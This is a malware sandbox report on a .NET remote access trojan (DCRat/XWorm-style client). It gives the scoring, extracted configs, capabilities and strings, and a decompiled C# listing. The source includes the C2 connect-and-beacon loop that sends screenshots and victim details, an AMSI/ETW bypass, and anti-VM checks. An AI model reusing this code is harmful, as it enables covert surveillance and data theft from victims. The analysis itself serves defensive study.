Malwagon
file icon
serega.exe File Analysis · first seen Oct 23, 2026 15:02 · 206.5 KB
27proc 4reg 2IOCs
Malicious100 Completed Public
Get sample Report Sign in

serega.exedcrat analysis report - Malicious

Run integrity

sample ran

The guest staged the sample and launched it, so what follows describes this file rather than an empty desktop.

33.5sto launch
643telemetry events
191observed
120agent notes

Malicious

100/100

30 points past the malicious line at 70.

Clean0-34 Suspicious35-69 Malicious70-100

Why this verdict

+126
Static analysis
  • Malware config extracted (DCRat, PhemedroneStealer, QuasarRAT, RedLine, VenomRAT, XWorm)
  • 1 high-risk capability(ies): reflective code loading
  • 6 supporting capabilities in one unsigned binary: file discovery, obfuscation, registry query, screen capture
  • .NET source: Reflectively loads an in-memory assembly
  • Local ML score 99.2
+75
Local anti-virus engine
  • Antivirus detection: Win.Malware.Cerbu-10058200-0
+35
Malware family
  • Identified as DCRat (possible confidence, named by configextract)
+0
Execution
  • The sample ran and then faulted: the operating system's crash reporter (WerFault.exe) started under it. What it did before that point was observed and is scored above; what it would have done afterwards was not.
+0
Model review
  • findings review (advisory, not scored): malicious - remote access trojan, amsi/etw bypass, credential and system discovery, self-respawning process chain

Model reading

Measured MALICIOUS100 of 100

Evidence ledger above, row by row. Published verdict rests on this column and on nothing to its right.

Model reads it asadvisory, no points NOT ASSESSEDnot shown on this page

Reads this report's derived findings, never the sample itself.

A model reading exists for this scan and is shown to the submitter and to staff only. It is a second opinion about evidence the score already priced, it is worth no points, and on a public page it would stand beside the verdict with no grounding a stranger could check.

Other high-severity findings
  • HIGH Antivirus detection: Win.Malware.Cerbu-10058200-0
  • HIGH Extracted DCRat malware configuration
  • HIGH Extracted PhemedroneStealer malware configuration
  • HIGH Extracted QuasarRAT malware configuration

Analysis layers

Static ran moved the score
Dynamic ran no points
Threat intel local feeds only no points
AI not included

Sample

TypeFile
MIMEapplication/vnd.microsoft.portable-executable

Run conditions

Sandbox OSWindows 10
EnvironmentWorkgroup
InternetIsolated
Execution166s
Guest hardware2 vCPU4095 MB RAM

Malware family

0 independent sources
DCRat possible

Named by a single source. Treat it as a lead rather than a classification.

LayerSourceWhat it matched
configextract rule corpus decoded configuration, by a parser with no signature of its own
Also named, less strongly: Phemedrone Stealer possibleQuasar RAT possibleRedLine Stealer possibleVenom RAT possibleXWorm possible

Detection signatures

19 detected · 2 withheld as common
Severity Detection Evidence Layer
HIGH
.NET source: Reflectively loads an in-memory assembly
MITRE T1620
- dynamic
HIGH
Antivirus detection: Win.Malware.Cerbu-10058200-0
antivirus Win.Malware.Cerbu-10058200-0 antivirus engine match
antivirus
HIGH
Extracted DCRat malware configuration
MITRE T1071
- static
HIGH
Extracted PhemedroneStealer malware configuration
MITRE T1071
- static
HIGH
Extracted QuasarRAT malware configuration
MITRE T1071
- static
HIGH
Extracted RedLine malware configuration
MITRE T1071
- static
HIGH
Extracted VenomRAT malware configuration
MITRE T1071
- static
HIGH
Extracted XWorm malware configuration
MITRE T1071
- static
MED
Changes memory protection to executable (NtProtectVirtualMemory)
MITRE T1055
string ntprotectvirtualmemory found in the sample's strings
static
MED
High file entropy (encrypted/compressed payload)
MITRE T1027
entropy 7.76 threshold 7.20, maximum 8.00
static
MED
Injection/execution API strings
MITRE T1055
string bypass matched string
string frombase64string matched string
static
MED
Persistence-related strings
MITRE T1547
string userinit matched string
static
MED
Ransomware-related strings
MITRE T1486
string .crypt matched string
static
MED
Surveillance/keylogging strings
MITRE T1056
string getforegroundwindow matched string
static
LOW
Checks free disk space (sandbox sizing check)
MITRE T1497.001
seen in 6% of benign software
string getdiskfreespace found in the sample's strings
static
LOW
Executes via ShellExecute
MITRE T1204
seen in 12% of benign software
string shellexecute found in the sample's strings
static
LOW
Network communication capability
MITRE T1071
seen in 6% of benign software
capability send capability: network
capability socket capability: network
static
LOW
Reads the foreground window (activity monitoring)
MITRE T1113
string getforegroundwindow found in the sample's strings
static
INFO
.NET managed assembly (decompiled)
- static
Withheld: 2 rules fired and were not reported above

These rules matched this sample, and they also match this much of known-clean software (measured over 1145 signed Windows and third-party binaries). A rule that fires on most clean files cannot move a verdict, so it is held back unless the detonation confirms the behaviour. They are listed because a count that shrinks without saying so is not a count an analyst can check.

Creates a named mutex (single-instance / infection marker) fires on 31% of benign software
Executes external code / commands fires on 30% of benign software

What the tests returned

6 tests

Each test this run performed and what it returned. A test that was not performed says so rather than reading as a negative result.

TestResult
Persistence mechanismsnone established at runtime
Cross-process injectionnone observed
Payloads written to disknone observed
Network connectionsnot tested - this run had no route out, so an empty network section is a property of the run and not an observation about the sample
Behavioural rule matches (Sigma)none observed
Known-malicious hash (reputation sources)no source reported this file

Absence of an observation is not proof of absence - see Coverage for what this run could and could not test.

Arguing against malice

  • No reputation source reported this file as malicious.

How much weight this carries

Confirmed. Independent external evidence, or the same behaviour seen by more than one analysis layer. The one fact that decided it: the local AV engine flagged the file.

Instrument coverage

3 of 4 measured

What this run was able to observe, as the run itself recorded it. A layer that did not run makes an empty result a fact about the sandbox rather than about the sample.

LayerRanWhat that means
Runtime anti-analysis watch measured Measured. The in-process hook group for debugger, timing and hypervisor checks armed on this run, so an empty signal list means something looked and saw nothing.
API call sequence measured Measured for the hooked anti-analysis calls. It is not a full API trace: the sequence carries interpreter spawns plus the hooked anti-analysis calls, and nothing else.
Explicit module loads measured Measured, with two limits. Only a module the sample asks for by hand is recorded, so one brought in by its own import table never appears, and the hooks arrive a few seconds after a process starts.
Network capture not on this plan Not included on this scan's plan.
Live kernel introspection not measured Not measured. This run did not ask for the memory-dump option, which is what starts the introspection loop.

This lists the layers this run recorded for itself. A layer that is not listed was not recorded either way, so its absence here is not a result.

Structure

What the file is made of: headers, imports, how it was built and whether it was signed.

Signature
Microsoft Linker
Not packed Unsigned
LinkerMicrosoft Linker
Library.NET Framework(v4.0, CLR v4.0.30319)
Identity
File
typeexecutable
size206.5 KB
file arch64-bit (x64)
subsystemGUI
entropy7.7609
date2024-08-26 21:19:29 UTC
version1.0.0.0
descriptionClient
productClient
original nameClient.exe
languageNEU

Antivirus engine

signature match signature set 28162 - 3.6M signatures

A local signature engine recognises these bytes. The name below is what that one engine calls them - it is a signature name, not an independent family attribution, and two engines routinely give the same file two different names.

Signature Win.Malware.Cerbu-10058200-0

Signature setValue
Set version28162
Signatures in the set3,642,894
Set published23 Oct 2026 06:24 +0000
Age when this file was scannedsame day

A negative answer is only as good as the signature set that gave it, so the set is recorded with the result and the result can be reproduced against it.

Local ML assessment

99.2 of 100 8 strongest of 2568 features

A gradient-boosted model running entirely on this host scored this file 99.2 of 100 on structure alone: its headers, sections, imports, strings and signature. The file was not executed and nothing about it left this machine.

Read this as corroboration and not as a verdict. Measured across this corpus the model separates signed software from unsigned software more sharply than malicious from benign, so it is charged at most 15 of 100 verdict points and only on top of evidence this report measured for itself. The eight features below are the ones that moved it furthest.

Structural featureWhat it meansPushesWeight
image flag dll Image flag: a library rather than a program towards malicious +1.5705
optional.address_of_entrypoint Address the program starts executing at (0) towards benign -0.8489
parser warning: AddressOfEntryPoint lies outside the sections' b Header defect reported by the parse: AddressOfEntryPoint lies outside the sections' b (1) towards malicious +0.6157
parser warning: Suspicious flags set for section... Header defect reported by the parse: Suspicious flags set for section... (0) towards benign -0.4740
optional.checksum Header checksum, which is zero on most files that were never signed (0) towards malicious +0.4207
optional.image_base Address the program prefers to be loaded at (5368709120) towards benign -0.3536
feature column 2478 When a timestamp authority countersigned the signature towards malicious +0.3137
section entropy .text Byte randomness of section .text towards malicious +0.2952

A weight is a log-odds nudge away from the model's own baseline, not a percentage point. Where a feature names a section, an import or a build id, the number beside it is the model's own hashed cell for that name rather than a measurement of the file: two names can share one cell and the sign comes from the hash, so no number is shown for those rows.

Packing
Not packed
This file's code is readable on disk - nothing is compressed or encrypted around it.
.NET managed
0/100
packer confidence
Static analysis reads this file directly Nothing is hiding the code from a static pass, so what the file contains is what the report shows.
Indicators weighed 1 signal
  • .NET managed binary (no obfuscator signature matched)

Extracted malware config

DCRat, PhemedroneStealer, QuasarRAT, RedLine, VenomRAT, XWorm
PhemedroneStealer
rawHosts=zmJxzm@@zmJxI@N#~~~~~, Group=, Version=Kxo, Mutex={,,uU)J__>NuH0-I{B}~N,}<K1, Install=Nm/@, InstallWatchDog=Nm/@, UseInstallAdmin=Nm/@, ExclusionWD=Nm/@, HiddenFile=Nm/@, RootKit=) ~ '?W./p~Y}uP
XWorm
Key__AjFJO_uN)q_}
PumpzO?A@
HostszmJxzm@@zmJxI@N#~~~~~
Mutex{,,uU)J__>NuH0-I{B}~N,}<K1
InstallNm/@
RootKit) ~ '?W./p~Y}uP<>fXJPO
VersionKxo
UserInitNm/@
HiddenFileNm/@
PathClientg(qR'Y/_@INAgk)PfPA@m@FOx@)@
TaskClient+Em'_mx@)@
AntivirtualzO?A@
CertificateN'IWfF<U
ExclusionWDNm/@
PathWatchDogg]A@mcm'zU?@gk)PfPA@m@FOx)PfP
TaskWatchDogA@m@FOx@)@
InstallWatchDogNm/@
UseInstallAdminNm/@
DCRat
Key__AjFJO_uN)q_}
PumpzO?A@
HostszmJxzm@@zmJxI@N#~~~~~
Mutex{,,uU)J__>NuH0-I{B}~N,}<K1
InstallNm/@
RootKit) ~ '?W./p~Y}uP<>fXJPO
VersionKxo
UserInitNm/@
HiddenFileNm/@
PathClientg(qR'Y/_@INAgk)PfPA@m@FOx@)@
TaskClient+Em'_mx@)@
AntivirtualzO?A@
CertificateN'IWfF<U
ExclusionWDNm/@
PathWatchDogg]A@mcm'zU?@gk)PfPA@m@FOx)PfP
TaskWatchDogA@m@FOx@)@
InstallWatchDogNm/@
UseInstallAdminNm/@
QuasarRAT
Key__AjFJO_uN)q_}
PumpzO?A@
HostszmJxzm@@zmJxI@N#~~~~~
Mutex{,,uU)J__>NuH0-I{B}~N,}<K1
InstallNm/@
RootKit) ~ '?W./p~Y}uP<>fXJPO
VersionKxo
UserInitNm/@
HiddenFileNm/@
PathClientg(qR'Y/_@INAgk)PfPA@m@FOx@)@
TaskClient+Em'_mx@)@
AntivirtualzO?A@
CertificateN'IWfF<U
ExclusionWDNm/@
PathWatchDogg]A@mcm'zU?@gk)PfPA@m@FOx)PfP
TaskWatchDogA@m@FOx@)@
InstallWatchDogNm/@
UseInstallAdminNm/@
VenomRAT
Key__AjFJO_uN)q_}
PumpzO?A@
HostszmJxzm@@zmJxI@N#~~~~~
Mutex{,,uU)J__>NuH0-I{B}~N,}<K1
InstallNm/@
RootKit) ~ '?W./p~Y}uP<>fXJPO
VersionKxo
UserInitNm/@
HiddenFileNm/@
PathClientg(qR'Y/_@INAgk)PfPA@m@FOx@)@
TaskClient+Em'_mx@)@
AntivirtualzO?A@
CertificateN'IWfF<U
ExclusionWDNm/@
PathWatchDogg]A@mcm'zU?@gk)PfPA@m@FOx)PfP
TaskWatchDogA@m@FOx@)@
InstallWatchDogNm/@
UseInstallAdminNm/@
RedLine
CNCs\;KVo+F8|.gLCMY6*etclU(4q)}S&nZB`Q'>TX%ayW2@9[E/_G"!1{v~]PxD0ikrIuOdm=J,5^f<$j7HN#zbh-sp3:w RA?
botnetkST:',*oMxFC+(3u&@NY?]-~HZV!0I9les$L"hgOqnp1>|tadbD;Ki}75c)R<U m=/GP_`w%X{z\BrW82yjQE6AJ.#f^[v4

Secrets & malicious strings

5 flagged strings

Flagged string categories

injection / execution med 2 hits
IndicatorFound inEvidence from the sample
bypass raw bytes present in the file bytes only
frombase64string raw bytes present in the file bytes only
persistence med 1 hit
IndicatorFound inEvidence from the sample
userinit extracted string UserInitRemove
ransomware med 1 hit
IndicatorFound inEvidence from the sample
.crypt extracted string System.Security.Cryptography.X509Certificates
keylogging / surveillance med 1 hit
IndicatorFound inEvidence from the sample
getforegroundwindow raw bytes present in the file bytes only

Capabilities

2 behaviour buckets
SeverityCapabilityMITREAPIs
med Network / C2
Opens sockets, HTTP or downloads payloads
T1071, T1095 send, socket
med Code execution
Creates processes / runs commands or shellcode
T1059 system

Security mitigations

partial posture
ON ASLR (DynamicBase)
OFF High-entropy ASLR (64-bit)
ON DEP / NX (NxCompat)
OFF Control Flow Guard
? SafeSEH
? Stack cookies (GS)
OFF Force Integrity
OFF AppContainer isolation
OFF Authenticode signed

.NET managed

AssemblyClient 1.0.0.0
Streams#~ #Strings #US #GUID #Blob
P/Invoke0 unmanaged import(s)
Resourceston7wg0i, xk4kol73u24cv6d09w5pda

Sections

2 sections · the file's memory layout
SectionVirtual addrRaw sizeVirtual sizeAccessEntropy
.text
Executable code
0x2000
179.0 KB
178.6 KB
EXECUTEREAD
7.7533
.rsrc
Resources
0x30000
27.0 KB
26.6 KB
READ
7.8189
code data imports/exports resources metadata packer non-standard Entropy above 7.0 means compressed or encrypted content.

Imports

0 funcs / 0 DLLs

No imports resolved (statically linked or packed - the IAT is rebuilt at runtime; see dynamic analysis).

Binary metadata

what the headers declare about this build
Resource langsNEU
Debug infono
TLS callbacksno

Code signing

Unsigned

This binary carries no Authenticode signature. Unsigned executables are a weak suspicious signal - most legitimate vendor software is signed.

Capability detection

45 capabilities
list is incomplete here

The capability analysis reports a limitation on this class of file: (internal) .NET file limitation.

Read what follows as the capabilities of the code that could be read, not of the file as a whole.

CapabilityNamespace
create process in .NET host-interaction/process/create
write file in .NET host-interaction/file-system/write
create or open mutex on Windows host-interaction/mutex
get process image filename host-interaction/process
get file attributes host-interaction/file-system/meta
suspend thread host-interaction/thread/suspend
create TCP socket communication/socket/tcp
create thread host-interaction/thread/create
create or open registry key -
set file attributes host-interaction/file-system/meta
contain loop -
get session integrity level host-interaction/session
get session user name host-interaction/session
get hostname host-interaction/os/hostname
generate random numbers in .NET data-manipulation/prng
terminate process host-interaction/process/terminate
access WMI data in .NET host-interaction/wmi
get common file path host-interaction/file-system
check if file exists host-interaction/file-system/exists
check if directory exists host-interaction/file-system/exists
get .NET assembly entry point load-code/dotnet
invoke .NET assembly method load-code/dotnet
load .NET assembly load-code/dotnet
manipulate unmanaged memory in .NET host-interaction/memory
create a process with modified I/O handles and window host-interaction/process/create
generate random filename in .NET host-interaction/file-system
write and execute a file communication/c2/file-transfer
unmanaged call runtime
hash data with MD5 data-manipulation/hashing/md5
get number of processors host-interaction/hardware/cpu
create directory host-interaction/file-system/create
set registry value host-interaction/registry/create
query or enumerate registry key host-interaction/registry
query or enumerate registry value host-interaction/registry
delete file host-interaction/file-system/delete
execute via timer in .NET host-interaction/thread/timer
access .NET resource executable/resource
save image in .NET collection
capture screenshot collection/screenshot
encode data using Base64 data-manipulation/encoding/base64
decode data using Base64 in .NET data-manipulation/encoding/base64
delete registry value host-interaction/registry/delete
act as TCP client communication/tcp/client
compiled to the .NET platform runtime/dotnet
ATT&CK techniques
Collection::Screen Capture [T1113]Defense Evasion::Deobfuscate/Decode Files or Information [T1140]Defense Evasion::File and Directory Permissions Modification [T1222]Defense Evasion::Modify Registry [T1112]Defense Evasion::Obfuscated Files or Information [T1027]Defense Evasion::Reflective Code Loading [T1620]Discovery::Account Discovery [T1087]Discovery::File and Directory Discovery [T1083]Discovery::Query Registry [T1012]Discovery::System Information Discovery [T1082]Discovery::System Owner/User Discovery [T1033]Execution::Windows Management Instrumentation [T1047]
Malware Behavior Catalog
Collection::Screen Capture::WinAPICommunication::Socket Communication::Create TCP SocketCommunication::Socket Communication::TCP ClientCryptography::Cryptographic Hash::MD5Cryptography::Generate Pseudo-random Sequence::Use APIData::Decode Data::Base64Data::Encode Data::Base64Defense Evasion::Obfuscated Files or Information::Encoding-Standard AlgorithmDiscovery::File and Directory DiscoveryDiscovery::System Information DiscoveryExecution::Install Additional ProgramFile System::Create DirectoryFile System::Delete FileFile System::Get File AttributesFile System::Set File AttributesFile System::Writes FileOperating System::Registry::Create Registry KeyOperating System::Registry::Delete Registry ValueOperating System::Registry::Open Registry KeyOperating System::Registry::Query Registry KeyOperating System::Registry::Query Registry ValueOperating System::Registry::Set Registry KeyProcess::Create MutexProcess::Create ProcessProcess::Create ThreadProcess::Suspend ThreadProcess::Terminate Process

Signature matches

0 findings · 4 file properties · 0 scored
File properties
IsPE64IsWindowsGUIIsPackedImportTableIsBad

These say what the file IS or holds - bitness, subsystem, an overlay, an embedded macro stream, which compiler built it. Ordinary files match several, and none of them carry weight in the score.

No signature rule identified a threat in this file.

Extracted strings

showing 200 of 680
  • !This program cannot be run in DOS mode.
  • .text
  • `.rsrc
  • *.sD
  • *.si
  • dALG0
  • i8SHM
  • )g HCH
  • QRUS8
  • OIOF
  • $+.aL
  • otkR!P\
  • -wp_Td
  • M:SDi
  • OFE=zu
  • CUtd(
  • LTOf
  • eiAD
  • uEA6K
  • tb.mo
  • yn]dfU
  • Zyfn7g
  • ~.Ov
  • MPEm
  • Nyse
  • ir,ztr
  • 4gLO#L
  • x.rE
  • .Yh%
  • MZCO
  • j.Fn
  • jxdE
  • lhaD
  • KHIy
  • NKEc
  • nSYX
  • i=mxh
  • g.lW~\
  • rnTB
  • QRP"E\
  • PA_mn/
  • clq4S{enf
  • zerK
  • Cnej;
  • \^.GE
  • MH:\}
  • [email protected]
  • KMri
  • 2.ko+
  • imp6e
  • tjNEH+
  • aeni
  • ACse
  • d)jnG
  • OUCx
  • eeXfhom
  • h%sWG;
  • beLV
  • vCOU
  • #Strings
  • #GUID
  • <>c__DisplayClass3_0
  • <CheckWMI>b__4_0
  • <PatchMem>b__0
  • IEnumerable`1
  • List`1
  • ProcessClientBufferReceived1
  • ProcessClientBufferNotReceived1
  • isVM_by_wim_temper1
  • __StaticArrayInitTypeSize=12
  • Microsoft.Win32
  • ToUInt32
  • ReadInt32
  • <client>5__2
  • ProcessClientBufferReceived2
  • gdfudsin8shd2
  • X509Certificate2
  • <networkStream>5__3
  • E123F60E9FC6E974D1381F2F15FB19E7960628CC8925D65E344C2F2BDC64F424
  • ToUInt64
  • __StaticArrayInitTypeSize=5
  • CABAFE20CFEA6C92D3377C14650461E190857D48D13934B5562233C314AAFBB5
  • <writer>5__5
  • ToUInt16
  • ReadInt16
  • <memoryStream>5__6
  • get_UTF8
  • <Module>
  • <PrivateImplementationDetails>
  • GetModuleHandleA
  • 42FC44596E89DA5AE6D4D3E3F99803B92713C413F3B56B0F59C5CC4E681E362C
  • 0C50C67E839472CD612D6033109F5E032987E48E367247F29C0EB30A1D3EB5FC
  • System.Drawing.Drawing2D
  • ES_SYSTEM_REQUIRED
  • ES_DISPLAY_REQUIRED
  • ExclusionWD
  • EXECUTION_STATE
  • get_ASCII
  • CheckWMI
  • System.IO
  • ES_CONTINUOUS
  • UserINIT
  • AsmiAndETW
  • PatchETW
  • value__
  • Camera
  • ReadData
  • data
  • WriteLeb
  • mscorlib
  • set_Verb
  • System.Collections.Generic
  • SendSync
  • WriteLineAsync
  • CopyToAsync
  • ConnectAsync
  • EndRead
  • BeginRead
  • Thread
  • Load
  • ClientBufferRecevied
  • get_Connected
  • SmallDiskDetected
  • EnvironmentDetected
  • AwaitUnsafeOnCompleted
  • get_IsCompleted
  • ProcessClientBufferReceived
  • ProcessClientBufferNotReceived
  • Hwid
  • hwid
  • ClassItemField
  • Send
  • Append
  • RegistryValueKind
  • DecodEncod
  • InvokeMethod
  • GetMethod
  • method
  • Replace
  • CreateInstance
  • FileMode
  • set_InterpolationMode
  • SelectMode
  • Decode
  • FromImage
  • DrawImage
  • Privilege
  • DynamicAPIInvoke
  • DynamicInvoke
  • EndInvoke
  • SaveInvoke
  • BeginInvoke
  • DynamicFunctionInvoke
  • lpFreeBytesAvailable
  • IEnumerable
  • IDisposable
  • ReadLebDouble
  • ToDouble
  • RuntimeFieldHandle
  • RuntimeTypeHandle
  • GetTypeFromHandle
  • ProcessHandle
  • WaitHandle
  • Rectangle
  • ToSingle
  • GetResourceFile
  • HiddenFile
  • CopyFile
  • IsInRole
  • WindowsBuiltInRole
  • GetActiveWindowTitle
  • oldtitle
  • AddAccessRule
  • RemoveAccessRule
  • FileSystemAccessRule
  • get_MainModule
  • ProcessModule
  • set_WindowStyle
  • ProcessWindowStyle
  • DLLName
  • get_Name
  • get_FileName
  • set_FileName
  • GetTempFileName
  • GetFileName
  • fileName
  • get_ModuleName
  • lpModuleName
  • get_MachineName
  • get_FullName
  • get_UserDomainName
  • FunctionName
  • get_UserName
  • ExportName
  • lpDirectoryName
  • GetDirectoryName
  • taskname
  • endTime
  • DateTime
  • GetCreationTime

Stack and decoded strings were not recovered: no reason was recorded. Only literal strings present in the file are listed above.

Disassembly

entry point · x64 · 6 insns
AddressBytesMnemonicOperands
0x1400000004d5apopr10
0x14000000290nop
0x1400000030003addbyte ptr [rbx], al
0x1400000050000addbyte ptr [rax], al
0x140000007000400addbyte ptr [rax + rax], al
0x14000000a0000addbyte ptr [rax], al
callbranchretstackarithregisterimmediatememory

Import fingerprint

no import table

This file has no import table to fingerprint - no import directory (statically linked, packed, or the table is destroyed). That is itself worth knowing: a Windows executable that imports nothing rebuilds its imports while it runs, which is what a packed or protected sample does. The dynamic layer is where those calls appear.

AI security review

not on this plan paid plans

AI security review is on the paid plans

On a paid scan a model reads the decompiled code end to end and returns a verdict with the lines it rests on, above the source.

Nothing is being withheld here. No model read this assembly, so no verdict is stored behind the lock. Findings, the type tree and the full decompiled source below are on every plan and are unaffected.

Create an account See plans

Decompiled .NET source

1 finding C# 24 types · 2419 lines

Decompiled from IL. Every type defined in the assembly is listed below; on a merged or packed sample some of it belongs to a bundled library rather than to the author. Behaviour review and the AI layer read only the author's own types.

Assembly contents 23 types
SeverityBehavior detected in sourceMITRE
high Reflectively loads an in-memory assembly T1620
using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Management;
using System.Net.Security;
using System.Net.Sockets;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Security.AccessControl;
using System.Security.Authentication;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Security.Principal;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using Client.Helper;
using Leb128;
using Microsoft.Win32;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("Client")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Client")]
[assembly: AssemblyCopyright("Copyright ©  2024")]
[assembly: AssemblyTrademark("")]
[assembly: Guid("4a2f8fb6-1077-469a-9246-736e6afe8da1")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: ComVisible(false)]
[assembly: TargetFramework(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace Leb128
{

	internal class Config
	{
		public static string Hosts;

		public static string Group;

		public static string Version;

		public static string Mutex;

		public static string Install;

		public static string InstallWatchDog;

		public static string UseInstallAdmin;

		public static string ExclusionWD;

		public static string HiddenFile;

		public static string RootKit;

		public static string Pump;

		public static string TaskClient;

		public static string TaskWatchDog;

		public static string PathClient;

		public static string PathWatchDog;

		public static string Certificate;

		public static string Antivirtual;

		public static string UserInit;

		public static string Key;

		public static string Camera;

		public static string Cpu;

		public static string Gpu;

		public static string AntiVirus;

		public static string RegKey;

		public static string WindowsVersion;

		public static string Hwid;

		public static string DataInstall;

		public static string Privilege;

		public static X509Certificate2 ServerCertificate;

		public static void Init()
		{
			RegKey = EncryptString.Decode("false");
			WindowsVersion = Methods.GetWindowsVersion();
			Gpu = string.Join(EncryptString.Decode("%"), Methods.GetHardwareInfo(EncryptString.Decode("nUI.pd:UP@'+'INm'??@m"), EncryptString.Decode("2O_@")));
			DataInstall = File.GetCreationTime(Process.GetCurrentProcess().MainModule.FileName).ToString(EncryptString.Decode("PPx((xqqqq"));
			Hwid = HwidGenerator.hwid();
			Cpu = string.Join(EncryptString.Decode("%"), Methods.GetHardwareInfo(EncryptString.Decode("nUI.pdcm'Y@AA'm"), EncryptString.Decode("2O_@")));
			AntiVirus = Methods.Antivirus();
			Camera = Methods.Camera();
			if (new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
			{
				Privilege = EncryptString.Decode("vP_UI");
			}
			else
			{
				Privilege = EncryptString.Decode("]A@m");
			}
			Hosts = EncryptString.Decode(Hosts);
			Group = EncryptString.Decode(Group);
			Version = EncryptString.Decode(Version);
			Mutex = EncryptString.Decode(Mutex);
			Install = EncryptString.Decode(Install);
			RootKit = EncryptString.Decode(RootKit);
			Key = EncryptString.Decode(Key);
			Certificate = EncryptString.Decode(Certificate);
			if (Install == EncryptString.Decode("Nm/@"))
			{
				PathClient = Methods.GetPath(EncryptString.Decode(PathClient));
				UseInstallAdmin = EncryptString.Decode(UseInstallAdmin);
				ExclusionWD = EncryptString.Decode(ExclusionWD);
				HiddenFile = EncryptString.Decode(HiddenFile);
				Pump = EncryptString.Decode(Pump);
				UserInit = EncryptString.Decode(UserInit);
				TaskClient = EncryptString.Decode(TaskClient);
				InstallWatchDog = EncryptString.Decode(InstallWatchDog);
				if (InstallWatchDog == EncryptString.Decode("Nm/@"))
				{
					PathWatchDog = Methods.GetPath(EncryptString.Decode(PathWatchDog));
					TaskWatchDog = EncryptString.Decode(TaskWatchDog);
				}
			}
			ServerCertificate = new X509Certificate2(Xor.DecodEncod(Methods.GetResourceFile(Certificate), Encoding.ASCII.GetBytes(Key)));
		}

		static Config()
		{
			Hosts = "zmJxzm@@zmJxI@N#~~~~~";
			Group = "";
			Version = "Kxo";
			Mutex = "{,,uU)J__>NuH0-I{B}~N,}<K1";
			Install = "Nm/@";
			InstallWatchDog = "Nm/@";
			UseInstallAdmin = "Nm/@";
			ExclusionWD = "Nm/@";
			HiddenFile = "Nm/@";
			RootKit = ") ~ '?W./p~Y}uP<>fXJPO";
			Pump = "zO?A@";
			TaskClient = "+Em'_mx@)@";
			TaskWatchDog = "A@m@FOx@)@";
			PathClient = "g(qR'Y/_@INAgk)PfPA@m@FOx@)@";
			PathWatchDog = "g]A@mcm'zU?@gk)PfPA@m@FOx)PfP";
			Certificate = "N'IWfF<U";
			Antivirtual = "zO?A@";
			UserInit = "Nm/@";
			Key = "__AjFJO_uN)q_}";
		}
	}

	internal class Program
	{
		public static Client.Helper.Client client = new Client.Helper.Client();

		private static void Main(string[] args)
		{
			try
			{
				Config.Init();
				AsmiAndETW.Bypass();
				if (Config.Install == EncryptString.Decode("Nm/@"))
				{
					Install.Run();
				}
				if (!MutexControl.CreateMutex(Config.Mutex))
				{
					return;
				}
				Methods.MaxPriority();
				Methods.PreventSleep();
				while (true)
				{
					if (!client.itsConnect)
					{
						string[] array = Config.Hosts.Split(new char[1] { ';' });
						string[] array2 = array[Methods.random.Next(array.Length)].Split(new char[1] { ':' });
						string[] array3 = array2[1].Split(new char[1] { ',' });
						client.Disconnect();
						client.Connect(array2[0], array3[Methods.random.Next(array3.Length)]);
						if (client.itsConnect)
						{
							client.pingChecker = new PingChecker(client);
							client.lastPing = new LastPing(client);
							client.Send(LEB128.Write(new object[14]
							{
								EncryptString.Decode("+'II@YN"),
								Methods.CaptureResizeReduceQuality(),
								Config.Group,
								Config.Hwid,
								Environment.UserName + EncryptString.Decode("^1^") + Environment.MachineName,
								Config.Camera,
								Config.Cpu,
								Config.Gpu,
								Config.WindowsVersion,
								Config.AntiVirus,
								Config.Version,
								Config.DataInstall,
								Config.Privilege,
								Methods.GetActiveWindowTitle()
							}));
						}
					}
					Thread.Sleep(200);
				}
			}
			catch
			{
			}
		}
	}

	internal class AntiVirtual
	{
		public static void RunAntiAnalysis()
		{
			if (isVM_by_wim_temper() || isVM_by_wim_temper1() || Check() || CheckWMI() || SmallDiskDetected() || EnvironmentDetected())
			{
				Environment.Exit(0);
			}
		}

		public static bool Check()
		{
			string[] array = new string[5]
			{
				EncryptString.Decode("!QU@R??xP??"),
				EncryptString.Decode("AI)E xP??"),
				EncryptString.Decode("Y_P}mN.pxP??"),
				EncryptString.Decode("!zpxP??"),
				EncryptString.Decode("!)=IxP??")
			};
			for (int i = 0; i < array.Length; i++)
			{
				if (DllImport.GetModuleHandleA(array[i]) != 0)
				{
					return true;
				}
			}
			return false;
		}

		public static bool isVM_by_wim_temper()
		{
			//IL_000a: Unknown result type (might be due to invalid IL or missing references)
			//IL_0014: Expected O, but got Unknown
			//IL_000f: Unknown result type (might be due to invalid IL or missing references)
			return new ManagementObjectSearcher((ObjectQuery)new SelectQuery(EncryptString.Decode("!@?@YN^&^zm'_^nUI.pd+OYE@(@_'mq"))).Get().Count == 0;
		}

		public static bool isVM_by_wim_temper1()
		{
			//IL_000a: Unknown result type (might be due to invalid IL or missing references)
			//IL_0014: Expected O, but got Unknown
			//IL_000f: Unknown result type (might be due to invalid IL or missing references)
			return new ManagementObjectSearcher((ObjectQuery)new SelectQuery(EncryptString.Decode("!@?@YN^&^zm'_^+=(d(@_'mq"))).Get().Count == 0;
		}

		public static bool CheckWMI()
		{
			//IL_00a3: Unknown result type (might be due to invalid IL or missing references)
			string[] source = new string[11]
			{
				EncryptString.Decode("}UmN/O?"),
				EncryptString.Decode("UII'N@ ^F_QE"),
				EncryptString.Decode("NJ}YFON@fOq"),
				EncryptString.Decode(":(hE"),
				EncryptString.Decode("NJO/N'Y'IIA}Y"),
				EncryptString.Decode("}Q')"),
				EncryptString.Decode("}_Q')"),
				EncryptString.Decode("}_fOm@"),
				EncryptString.Decode("}UmN/O?Q')"),
				EncryptString.Decode("Q')"),
				EncryptString.Decode("NEUIOJJ")
			};
